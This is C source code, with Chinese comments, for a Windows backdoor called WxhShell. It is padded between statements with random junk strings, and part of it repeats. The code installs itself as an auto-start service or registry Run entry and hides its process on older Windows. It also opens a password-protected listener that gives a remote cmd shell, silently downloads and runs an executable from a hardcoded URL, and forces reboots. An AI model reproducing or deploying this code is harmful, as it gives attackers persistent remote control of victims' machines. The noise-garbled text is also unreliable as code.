g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 0Bk-)z|V NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); viJP6fh i.^:xZ if (!NtQueryInformationProcess) return 0; &UNQ4-s Tv9\`F[ hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); !Sl_qL if(!hProcess) return 0; }D-jTZlC '.jYu7
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; dK4w$~j{k <`?%Cz AO CloseHandle(hProcess); z0%tBgqY( hVl@7B~ hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); vpC?JXz=H if(hProcess==NULL) return 0; /t*Q"0X5 SXC
7LJm<g HMODULE hMod; &Mz]y?k' char procName[255]; AY;[v.Ff4 unsigned long cbNeeded; R:rols"QM @<&u;8y-Cn if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 6
$`l .@ZrmO
o]] CloseHandle(hProcess); 5vLA)Al3 Mcq!QaO}& if(strstr(procName,"services")) return 1; // 以服务启动 1vS-m x RRQIlI< return 0; // 注册表启动 nTD4^' } 57q?:M=^ 8c>xgFWp9 // 主模块 C;%dZ int StartWxhshell(LPSTR lpCmdLine) S~R[*Gk_uT { x[u6_6=q9 SOCKET wsl; qj4jM7 BOOL val=TRUE; w"W;PdH) int port=0; x&r f]R struct sockaddr_in door; ?6HnN0A) IVVX3RI if(wscfg.ws_autoins) Install(); >nvnU`\ +"1-W>HV port=atoi(lpCmdLine); (g&@E(@]? T^{=cx9x9 if(port<=0) port=wscfg.ws_port; dK;ebg9| { `xC~B h WSADATA data; [KCR@__ if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ^+0>,-)F ]re}EB\Rs if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; VGc.yM)&
j setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); bcT'!: door.sin_family = AF_INET; X<5&R{oZ door.sin_addr.s_addr = inet_addr("127.0.0.1"); jeB"j door.sin_port = htons(port); qJ .XI p=^6V"' if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { BR_fOIDc closesocket(wsl); fn.;C return 1; LFZ*mRiuKE } _^`V0>Mh: PS=q):R| if(listen(wsl,2) == INVALID_SOCKET) { ;lSsy closesocket(wsl); S]Di1E^r;_ return 1; U3{4GmrT } _/u(: Wxhshell(wsl); [_}8Vv&6 WSACleanup(); 'Sesh'2
/ X?;iSekI4 return 0; C\OZs%]At b`%!\I } O1wo
KkfV TB= _r(:l+ // 以NT服务方式启动 Ix<!0!
vk VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) UoUQ6Ij { TtH!5{$s DWORD status = 0; #sk~L21A DWORD specificError = 0xfffffff; l;&kX6 w Do5. serviceStatus.dwServiceType = SERVICE_WIN32; I?Z"YR+MQ serviceStatus.dwCurrentState = SERVICE_START_PENDING; .}uri1k"@k serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Y9&na&vY? serviceStatus.dwWin32ExitCode = 0; x34GRe!! serviceStatus.dwServiceSpecificExitCode = 0; B|8|f(tsSa serviceStatus.dwCheckPoint = 0; / {[p?7x> serviceStatus.dwWaitHint = 0; q~Al[`K mahNQ5 W*) hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); =+I-9= if (hServiceStatusHandle==0) return; <M}O&?N
8x g/\cN(X status = GetLastError(); !H<%X~|, if (status!=NO_ERROR) q*C-DiV { SLUQFoz} serviceStatus.dwCurrentState = SERVICE_STOPPED; BjA$^ i|8 serviceStatus.dwCheckPoint = 0; SXN]${ serviceStatus.dwWaitHint = 0; @1<VvW= serviceStatus.dwWin32ExitCode = status; 3+vVdvu% serviceStatus.dwServiceSpecificExitCode = specificError; rvK%m_r SetServiceStatus(hServiceStatusHandle, &serviceStatus); 8j :=D!S return; K
V } v(=0hY9
O g!o2vTt5 serviceStatus.dwCurrentState = SERVICE_RUNNING; 6V}xgfB serviceStatus.dwCheckPoint = 0; EJQT\c serviceStatus.dwWaitHint = 0; SJlE!MK if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); +_u~Np } td23Z1Elk# DL,]iJm // 处理NT服务事件,比如:启动、停止 TIR Is1 VOID WINAPI NTServiceHandler(DWORD fdwControl) 12_7UWZ" { 8G9( )UF. switch(fdwControl) %+<1X?;,Fq { #};Zgixo$ case SERVICE_CONTROL_STOP: };EB[n serviceStatus.dwWin32ExitCode = 0; jW-;Y/S serviceStatus.dwCurrentState = SERVICE_STOPPED; 412E7 serviceStatus.dwCheckPoint = 0; hE$3l+ serviceStatus.dwWaitHint = 0; |JP'j1 Ka { e@ $|xa") SetServiceStatus(hServiceStatusHandle, &serviceStatus); oA7| s1 } N
7Y X return; Zy8tI# case SERVICE_CONTROL_PAUSE: 3K/'K[~ serviceStatus.dwCurrentState = SERVICE_PAUSED; ,"{e$|iY break; V<;_wO^ case SERVICE_CONTROL_CONTINUE: 0IA'5) serviceStatus.dwCurrentState = SERVICE_RUNNING; L/I ]
NA!U break; E*fa&G~s ) case SERVICE_CONTROL_INTERROGATE: Kp1 F"! break; q^n
LC6q }; ;Ru[^p.{ SetServiceStatus(hServiceStatusHandle, &serviceStatus); Q&_#R(3j; } >l/pwb@ 6A}tA$*s7 // 标准应用程序主函数 JnIG;/ int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) inZ0iU9dy { moh,a B# Kv<mDA! // 获取操作系统版本 Y6d~hLC OsIsNt=GetOsVer(); v\qyDZ VV GetModuleFileName(NULL,ExeFile,MAX_PATH); fX6pW%Q'6 m\bmBK"I // 从命令行安装 H{Lt,# if(strpbrk(lpCmdLine,"iI")) Install(); f5l\3oL [p}~M-$V8Y // 下载执行文件 e"XolM0IM if(wscfg.ws_downexe) { Wm5[+z|2?9 if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) _#+l?\u WinExec(wscfg.ws_filenam,SW_HIDE); 1uR@ZK } 3d7A/7S TXS`ey if(!OsIsNt) { 3>73s}3 // 如果时win9x,隐藏进程并且设置为注册表启动 L~by `q N_ HideProc(); %L7DC` StartWxhshell(lpCmdLine); N'$P(
bx } [7[Qw]J else >i.$s if(StartFromService()) T4gfQ6# // 以服务方式启动 7!FiPH~kM StartServiceCtrlDispatcher(DispatchTable); F$kiSjh9aJ else PYY< // 普通方式启动 aI`d StartWxhshell(lpCmdLine); h4MBw=Tz~ gTB|IcOs return 0; @H(7Mt } A )CsF XFl&(I4tB g2'K3e?.% "&^KnWk= =========================================== Yl$@/xAa )FIFf;r R[fQ$` M G{Ju2HY nmE H/a $#W^JWN1 " i.?rom KbK!4 #include <stdio.h> u(?U[pe[ #include <string.h> M
0RA& #include <windows.h> Zp6VH #include <winsock2.h> ]W~M?1} #include <winsvc.h> Gi$\th, #include <urlmon.h> KZ^>_K& wc"~8Ah #pragma comment (lib, "Ws2_32.lib") }j2t8B^&: #pragma comment (lib, "urlmon.lib") D;+Y0B {Dy,|}7s #define MAX_USER 100 // 最大客户端连接数 Az#kE.8b*A #define BUF_SOCK 200 // sock buffer -;qK_x #define KEY_BUFF 255 // 输入 buffer p-rQ'e Dvl\o; #define REBOOT 0 // 重启 Nt?=0X|M #define SHUTDOWN 1 // 关机 r;H#cMj `022gHYv #define DEF_PORT 5000 // 监听端口 _,UYbD\[J} +ek6}f# #define REG_LEN 16 // 注册表键长度 [)I
W9E
v #define SVC_LEN 80 // NT服务名长度 FB>P39u d.B<1"MQ // 从dll定义API '}(Fj2P79 typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 0R(['s:3` typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); M\IdQY-c typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); oblw!) typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); n:s _2h(u mc@Z+t' // wxhshell配置信息 1Ak0A6E struct WSCFG { 00y(E@~ int ws_port; // 监听端口 VAyAXN~ char ws_passstr[REG_LEN]; // 口令 ~YviXSW int ws_autoins; // 安装标记, 1=yes 0=no j>v8i
bS( char ws_regname[REG_LEN]; // 注册表键名 {CVZ7tU7] char ws_svcname[REG_LEN]; // 服务名 ,lFzL3'_0x char ws_svcdisp[SVC_LEN]; // 服务显示名 'X/:TOk{W char ws_svcdesc[SVC_LEN]; // 服务描述信息 mY XL char ws_passmsg[SVC_LEN]; // 密码输入提示信息 )
R\";{`M int ws_downexe; // 下载执行标记, 1=yes 0=no r8czDc),b char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ybv< 1 char ws_filenam[SVC_LEN]; // 下载后保存的文件名 YWV)C?5x& d0zp89BEn }; UX|3LpFX&I t0P_$+w.> // default Wxhshell configuration Y( K`3?A struct WSCFG wscfg={DEF_PORT, JPj/+f "xuhuanlingzhe", %.\+j,G7 1, \X]I: 0^j "Wxhshell", 2@HmZ!|Q "Wxhshell", +x4*T "WxhShell Service", 4ISIg\:c* "Wrsky Windows CmdShell Service", [kgCB7.V "Please Input Your Password: ", H&k&mRi 1, G'nSnw "http://www.wrsky.com/wxhshell.exe", 0XyPG "Wxhshell.exe" [E2".F3 }; UalwK "EWq{l_I5$ // 消息定义模块 ;9J6)zg !n char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 61HJ% char *msg_ws_prompt="\n\r? for help\n\r#>"; 5,|{|/ char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; H,j_2JOY= char *msg_ws_ext="\n\rExit."; ]f wW
dtz1 char *msg_ws_end="\n\rQuit."; 8/ukzY1! char *msg_ws_boot="\n\rReboot..."; KRhls"\1 char *msg_ws_poff="\n\rShutdown..."; "(';UFa char *msg_ws_down="\n\rSave to "; XZ8]se"C 6KN6SN$ char *msg_ws_err="\n\rErr!"; zd F;! char *msg_ws_ok="\n\rOK!"; e-lc2$o7{ !I91kJt7 char ExeFile[MAX_PATH]; :inVwc int nUser = 0; |^F$Ta HANDLE handles[MAX_USER]; j*1MnP3/8Y int OsIsNt; ^ ~Tn[w W_ ;vpq0t` SERVICE_STATUS serviceStatus; n 4H'FZ SERVICE_STATUS_HANDLE hServiceStatusHandle; =~)rT8+) -G=.3
bux // 函数声明 Y2g%{keo int Install(void); QNXS.!\P int Uninstall(void); W3%RB[s- int DownloadFile(char *sURL, SOCKET wsh); ,&Zk63V int Boot(int flag); U2Ky4UFm void HideProc(void); %y)hYLOJ int GetOsVer(void); >f|0# * int Wxhshell(SOCKET wsl); {5+69&:G. void TalkWithClient(void *cs); O%&N6U int CmdShell(SOCKET sock); $"0`2C int StartFromService(void); w`zS`+4 int StartWxhshell(LPSTR lpCmdLine); G12o?N0p 4'N 4,3d$ VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); _+%p!!
VOID WINAPI NTServiceHandler( DWORD fdwControl ); EKmn@S-&P ;iUO1t)^ // 数据结构和表定义 Go[anf SERVICE_TABLE_ENTRY DispatchTable[] = ~D/1U)kt { b~TTz`HZ {wscfg.ws_svcname, NTServiceMain}, A[:(#iR5-E {NULL, NULL} fvA167\ }; pE.TG4 r8o^8 . // 自我安装 <anU#bEuQ int Install(void) ^r{N^ { @CC
6`D char svExeFile[MAX_PATH]; Y{X%C\ HKEY key; _) UnHp_^ strcpy(svExeFile,ExeFile); un)PW&~E $vnx)#r3 // 如果是win9x系统,修改注册表设为自启动 #"[EVF0%1D if(!OsIsNt) { P|;f>*^Y if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { J d,9<m$ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); shVEAT'` RegCloseKey(key); |HwEwL+ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 7De BeY RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); # `@jVX0 RegCloseKey(key); +.xK`_[M return 0; Lu4>C 2{ } $3eoZ1q'U- } VpED9l]y } c/Li,9cT' else { Zk31|dL 1I8<6pi- // 如果是NT以上系统,安装为系统服务 WkPT6d SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ._&SS,I5VZ if (schSCManager!=0) ++=jh6 { Y&$puiH-j SC_HANDLE schService = CreateService x l=i_ ( Lo=n)cV 1, schSCManager, TT&%[A+ wscfg.ws_svcname, &=wvlI52` wscfg.ws_svcdisp, }8`>n4 SERVICE_ALL_ACCESS, *mW 2vJ/B SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , /!*=* SERVICE_AUTO_START, 0sF|Y%N SERVICE_ERROR_NORMAL, Qzv& svExeFile, zbvV:9N NULL, -Q%Pg<Q-# NULL, SES-a Mi3 NULL, Na+h+wD.D NULL, !y$+RA7\ NULL "2PT]! ); !;Pp)SRzKG if (schService!=0) JX#0<U|L { .(yJ+NU CloseServiceHandle(schService); nB4+*=$E+- CloseServiceHandle(schSCManager); .k|\xR strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); FRayB VHL strcat(svExeFile,wscfg.ws_svcname); cV4Y=
& if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Fn{Pmo*rs RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); lZ)
qV!< RegCloseKey(key); U7-*]i k return 0; KD--w(4 } `A8ErfA } sR)jZpmC( CloseServiceHandle(schSCManager); iMQ0Sq-%1 } (N`GvB7; } 4Ujy_E?^ ej\Sc7. return 1; @eq.&{& } &+yoPF ;ssI8\LG // 自我卸载 y8}
/e@& int Uninstall(void) 4Ofkagg { A-YW!BT4 HKEY key; QI78/gT,d ]3 QW\k~ if(!OsIsNt) { Ms-)S7tMz if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { "ZFH_5< RegDeleteValue(key,wscfg.ws_regname); #WAX&<m RegCloseKey(key); a TPq1u if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { v3<q_J'qT RegDeleteValue(key,wscfg.ws_regname); ^Ww5@ RegCloseKey(key); !w;/ J^ return 0; [c v!YE } -TS,~`O } 8fPTxvXqL } `Io#440; else { h,,B"vPS [ B*r{ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Gz(l~!n~a if (schSCManager!=0) PM'2zP[*W { #)O^aac29 SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 1pjx8*!B if (schService!=0) Rgl cd { [.&n,.k if(DeleteService(schService)!=0) { Ei=rBi CloseServiceHandle(schService); =J'Q%qN<Zd CloseServiceHandle(schSCManager); Hlpt zez return 0; :@-.whj } %.HLO.A CloseServiceHandle(schService); 5Sb-Bn } Q2F20b CloseServiceHandle(schSCManager); z:1t
vG } zV(aw~CbZ } F_4Et
z";(0% return 1; W{~ y< `D } s^Xs*T@~h 9mjJC // 从指定url下载文件 m7i(0jd
+ int DownloadFile(char *sURL, SOCKET wsh) }{Ra5-PY { 0f_A"K HRESULT hr; kO$n0y5e char seps[]= "/"; ab]Q1kD char *token; hFxT@I~ char *file; wc&D[M]-/ char myURL[MAX_PATH];
7NnXt' char myFILE[MAX_PATH]; z#GSt
ZT ;<"V},
C strcpy(myURL,sURL); 0Gu?;]GSv token=strtok(myURL,seps); ^dE[ ; while(token!=NULL) n~tb z"& { G\^<MR| file=token; O- LwX
> token=strtok(NULL,seps); M }q;\} } Y/T-q<ag8 C
&y
2I GetCurrentDirectory(MAX_PATH,myFILE); c;zk{dP strcat(myFILE, "\\"); |nGv:= H@ strcat(myFILE, file); O,S>6o)? send(wsh,myFILE,strlen(myFILE),0); -)R
=p"-w send(wsh,"...",3,0); Oqq'r "S hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ze21Uj1x* if(hr==S_OK) {JF"PAS7 return 0; 'yV*eG?^& else 34nfL: y return 1; VE}r'MBk r3KNRr@ } ai;Q,Vy #&1gVkvp // 系统电源模块 iSg0X8J) int Boot(int flag) Q{an[9To~P { T8x8TN" HANDLE hToken; p(K^Zc TOKEN_PRIVILEGES tkp; tmoaa!yRnT };<?W){!H if(OsIsNt) { gQJLqs"F OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); bbDm6, LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); uX]]wj-R3 tkp.PrivilegeCount = 1; <K,X5ctM} tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; eZ-fy,E AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); @u:` if(flag==REBOOT) { w~Nat7nD if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 7S=,# return 0; TQ0ZBhd } Sw5:T else { 5HE5$S if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) bOp% return 0; D5f[: } (hg6<` } 8Op^6rX4 else { dnQ6Ras if(flag==REBOOT) { sg49a9`8 if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) leI ]zDk= return 0; %~8f0B|im } E> $_
$' else { pZ3sp! if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) T<NOLfk66 return 0; #f/4%|t: } .D\oKhV( } [IAk9B.\ b;#_?2c return 1; $)BPtGMGo } lyyf&?2 \7pEn // win9x进程隐藏模块 ^:}C,lIrG void HideProc(void) OEXa}K# { WWH<s%C &m
GU HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); x%HxM~& if ( hKernel != NULL ) ]<L~f~vU { c2fSpvz pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); B& R?{y* ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 67Qu<9}<- FreeLibrary(hKernel); 78~/1- } m^3j|'mG Aq$1#1J return; ,^Q~w
b!{ } %lGOExV% dU2; // 获取操作系统版本 !`1m. int GetOsVer(void) O:pg+o& { |v5
ge3- OSVERSIONINFO winfo; ~I%164B+/ winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); nZ (wfNk GetVersionEx(&winfo); TW70z]B if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) [{Q$$aV1 return 1; E)f9`][ else gA}<Y return 0; 4VwMl)8ic } S]~5iO_bst z@pa;_ // 客户端句柄模块 ZkQ6~cM int Wxhshell(SOCKET wsl) 23`salLclG { o0S8ki SOCKET wsh; %*wEzvt* struct sockaddr_in client; 1#Hr{&2 DWORD myID; !E_|Zp]up qSG0TWD!pq while(nUser<MAX_USER) F]r'j
ZL { @TX@78fWz= int nSize=sizeof(client); )*{B_[ wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Sy4|JM-5 if(wsh==INVALID_SOCKET) return 1; U1pE2o- p@uHzu7 handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); b4bd^nrqV if(handles[nUser]==0) ?Tu=-ppw closesocket(wsh); =T&<z_L else e84%Y8,0 nUser++; 0GeL">v,:= } \AA9
m'BZ WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); NH}o`x/ _>kc: return 0; XMT@<'fI } y
5=rr3%v !>80p~L // 关闭 socket "` cP V){] void CloseIt(SOCKET wsh) b=pk;'- { J:>o\%sF closesocket(wsh); |YyNqwP`, nUser--; J'7;+.s( ExitThread(0); GEh( pJ } VKX|0~ x=Oy 6" // 客户端请求句柄 D1 v0`od' void TalkWithClient(void *cs) "J2q|@. { 5B2p_$W# jgG9?w)|u SOCKET wsh=(SOCKET)cs; 8F`8=L NO char pwd[SVC_LEN]; GiEt;8 char cmd[KEY_BUFF]; As,e.V5! char chr[1]; Ut;4`>T int i,j; |UMm>.\' JoiGuZd> while (nUser < MAX_USER) { ]&q<O0^' \4G9YK-N> if(wscfg.ws_passstr) { -WF((s;<# if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); /V/NL#(R //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); |3!) //ZeroMemory(pwd,KEY_BUFF); ha=2isq i=0; 2ww
H3} while(i<SVC_LEN) { ryh"/lu[B oVn&L*H // 设置超时 eA-oqolY fd_set FdRead; nK?S2/o#A struct timeval TimeOut; C~@m6K FD_ZERO(&FdRead); &Mudu/KTr FD_SET(wsh,&FdRead); H)gc"aRe;Y TimeOut.tv_sec=8; E?P>s T3B TimeOut.tv_usec=0; "G.X=,
V int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 3Wv^{|^ if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); n5.sx|bI? xsJXf @ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 6vE#$(n#a& pwd=chr[0];
DwGM+)! if(chr[0]==0xd || chr[0]==0xa) { nQ+5jGP1 pwd=0; k_wcol,W break; Xo~q}(ze^ } 0+@:f^3]! i++; -aok ]w
m } 6?KUS}nRS zb!1o0, J // 如果是非法用户,关闭 socket j7gTVfO if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); >A-{/"p# } un-%p# ln=fq: send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); EC[]L'IL send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); :adz~L$ OQKg/1 while(1) { WlvT&W 4=|Q2qgFV ZeroMemory(cmd,KEY_BUFF); M80Q6K pFNU~y'Kf // 自动支持客户端 telnet标准 $6wSqH?q j=0; M57<e`m while(j<KEY_BUFF) { ~Hub\kn if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ,-E'059 cmd[j]=chr[0]; Komdz/g if(chr[0]==0xa || chr[0]==0xd) { }s<;YC cmd[j]=0; ?z l<"u break; -wV2
79^b } ov,s]g83 j++; h`N2M, } xi "3NF%= 2672oFD // 下载文件 dEKu5GI if(strstr(cmd,"http://")) { ?yq=c send(wsh,msg_ws_down,strlen(msg_ws_down),0); &DGz/o if(DownloadFile(cmd,wsh)) x}c send(wsh,msg_ws_err,strlen(msg_ws_err),0); .-tR <{
g else g1[BrT, send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ^ `";GnH0 } nf"#F@dk else { 'hBnV xd& !JrKTB% switch(cmd[0]) { ^?""'1iuQx |a#ikY _nd // 帮助 IA.7If&k case '?': { w[gt9]}N send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ;iKtv+" break; fv8x7l7 } @XzfuuE] // 安装 k@|px#kq case 'i': { SQ[D2v if(Install()) mKO~`Wq%@ send(wsh,msg_ws_err,strlen(msg_ws_err),0); [5p9p1@u{C else j0{`7n send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); H2:
Zda# break; <af#
C2`B } ,v8e7T // 卸载 SIrNZ^I case 'r': { 7A(4`D J if(Uninstall()) 0Pf88 '6 send(wsh,msg_ws_err,strlen(msg_ws_err),0); p$1 'e,G else X0P +[.i send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); MT>(d*0s break; 6X h7Bx1 } v(.mM9> // 显示 wxhshell 所在路径 ~=OJCKv5( case 'p': { BX[IWP\% char svExeFile[MAX_PATH]; 1%B9xLq strcpy(svExeFile,"\n\r"); N}B&(dJ strcat(svExeFile,ExeFile); #9DJk,SP send(wsh,svExeFile,strlen(svExeFile),0); hui
#<2{ break; ]YhQQH1>] } >_yL@^ // 重启 0/f|ZH ~! case 'b': { ,(x`zpp _ send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); :K2
X~Ty if(Boot(REBOOT)) $#D#ezvxe send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~"`e9Im else { hjg1By( closesocket(wsh); .p e3L7g ExitThread(0); Q34u>VkdQI } ^lV}![do! break; V>)/z|[ } MSM8wYcD // 关机 B;=Z^$%T case 'd': { ~%>i lWaHB send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ~\NQkaBkY if(Boot(SHUTDOWN)) ]`x+wWe send(wsh,msg_ws_err,strlen(msg_ws_err),0); \os"w " else { 3<$Ek3X closesocket(wsh); o}KVT%} ExitThread(0); w@,p` } unn2I|XH break; 8ly)G } pIK:$eN!/ // 获取shell fG>3gS6& case 's': { *Ts$Hj[ CmdShell(wsh); Q}B]b-c+E closesocket(wsh); \a;xJzc9 ExitThread(0); -avxH?;?7 break; >e6 OlIW } ]h`*w // 退出 18F}3t?? case 'x': { q9ra send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ;AOLbmb)H4 CloseIt(wsh); =bD.5,F) break; ya~;Of5 } nsi?.c&0! // 离开 OjlX<y. case 'q': { E%v0@ send(wsh,msg_ws_end,strlen(msg_ws_end),0); au50%sA~
closesocket(wsh); U'" #jT WSACleanup(); [#@lsI exit(1); qtAt=` s break; `W)?d I?#M } ^rq\kf*] } xOShO"4Z } ?C fQwY#N }W 5ks-L6 // 提示信息 u5ZyOZ; if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); @u/CNx,`X } 9;{(.K } c8mh#Tbl OV;VsF return; | VaJ70\o } 3^
UoK _p: n\9k // shell模块句柄 v?]a tb/h` int CmdShell(SOCKET sock) F68eI%Y { [sH3REE1h STARTUPINFO si; Rf`_q7fm ZeroMemory(&si,sizeof(si)); 'q:7PkN!p si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; LRu*%3xx si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; yKj}l,i~8 PROCESS_INFORMATION ProcessInfo; +zch e char cmdline[]="cmd"; %eofG]VM< CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); /Lr`Aka5 return 0; *)w+xWmM3w } %Jh(5 *Lz'<=DLoW // 自身启动模式 8f~x\. int StartFromService(void) w`8H=Hf { -V4{tIQY typedef struct qVfn(rZ { HM)D/CO,? DWORD ExitStatus; |z3!3?%R DWORD PebBaseAddress; ,|yscp8 DWORD AffinityMask; ;Z0&sFm DWORD BasePriority; `!N}u ULONG UniqueProcessId; ? Pi|`W ULONG InheritedFromUniqueProcessId; 5%9Uh'y# } PROCESS_BASIC_INFORMATION; VS ECD;u4c uZL,%pF3A PROCNTQSIP NtQueryInformationProcess;
K!9K^ h /77cjesZ9 static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; S[$9_J f static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; _PPC?k{z! j$_?g!I=gK HANDLE hProcess; ^cPVnl PROCESS_BASIC_INFORMATION pbi; &S+*1<|`K z6J12tu HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); pm=O.)g4` if(NULL == hInst ) return 0; Ag\RLJ.KD RjviHd#DXn g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); U`3?bhzua g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); x^)?V7[t NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); xa'U_]m V#$QKn`; if (!NtQueryInformationProcess) return 0; fgL"\d} PCaFG;} hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); L`<#vi if(!hProcess) return 0; WG A&Lr x7E] }h if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ,8Q0AkG B=]L%~xL$ CloseHandle(hProcess); Ih5Y7<8b~ %Bm{ctf#) hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); k]:`<`/I_ if(hProcess==NULL) return 0; ".|8 (Y `
~m/ HMODULE hMod; lU
